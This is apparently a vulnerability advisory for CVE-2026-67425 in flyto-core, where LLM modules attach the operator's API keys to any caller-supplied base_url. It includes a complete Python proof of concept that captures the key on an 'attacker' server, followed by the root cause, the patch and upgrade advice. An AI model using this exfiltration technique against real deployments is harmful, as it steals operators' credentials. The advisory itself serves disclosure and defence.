CVE-2026-67425: flyto-core LLM API Key Exfiltration via Caller-Controlled base_url
flyto-core's llm.chat module automatically attaches the operator's LLM API key to any URL the caller supplies, letting an attacker receive the key on their own server just by pointing base_url at it.

The problem
The llm.chat module (and related modules ai.model, llm.agent, vector.connector) reads provider secrets such as OPENAI_API_KEY and ANTHROPIC_API_KEY from the environment and unconditionally forwards them in Authorization: Bearer to whatever base_url the caller passes in.
The only gate is an SSRF guard, which blocks private/internal hosts but allows any public address. An attacker simply points base_url at a public server they control and receives the operator's key in the request. No authentication or elevated privilege is needed beyond the ability to invoke llm.chat, which is reachable through the MCP agent surface or the hosted HTTP API.
Proof of concept
A working proof-of-concept for CVE-2026-67425 in flyto-core, with the exact payload below.
#!/usr/bin/env python3
import asyncio, os, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"
CAPTURED = {}
class Attacker(BaseHTTPRequestHandler):
def do_POST(self):
CAPTURED["auth"] = self.headers.get("Authorization")
ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
self.send_response(200); self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
res = await ModuleRegistry.execute("llm.chat", params={
"prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
}, context={})
print("module ok:", res.get("ok"))
print("Authorization received by attacker:", CAPTURED.get("auth"))
if __name__ == "__main__":
asyncio.run(main())
# Output:
# module ok: True
# Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4aThe root cause is a broken trust boundary: the env-derived key is meant only for the official provider endpoint, but the code never checks whether base_url is that endpoint before attaching the secret. The SSRF guard is the wrong control here. It prevents requests to private IP ranges, but it has no opinion on whether a public host is trustworthy enough to receive the operator's credentials.
The patch (commit d5f89d71) corrects this by decoupling the two: if the caller supplies a custom base_url, the env key is no longer auto-attached. The caller must supply api_key explicitly, or base_url must match a configured allowlist of trusted endpoints.
The same logic was applied to ai.model, llm.agent, and vector.connector (which leaked QDRANT_API_KEY the same way). CWE-201 and CWE-522 both apply.
The fix
Upgrade flyto-core to version 2.26.7. If an immediate upgrade is not possible, set base_url only to the official provider endpoint in your configuration and ensure untrusted callers cannot set base_url through the MCP or HTTP API surface.
Related research
- critical · 9.3CVE-2026-67426CVE-2026-67426: flyto-core Unauthenticated SSRF and Runner Secret Exfiltration
- high · 8.5CVE-2026-67428CVE-2026-67428: flyto-core Missing SSRF Guard on HTTP Modules
- high · 8.5CVE-2026-67424CVE-2026-67424: flyto-core SSRF via Unvalidated HTTP Redirect
- critical · 10CVE-2026-67429CVE-2026-67429: flyto-core Arbitrary File Write via image.download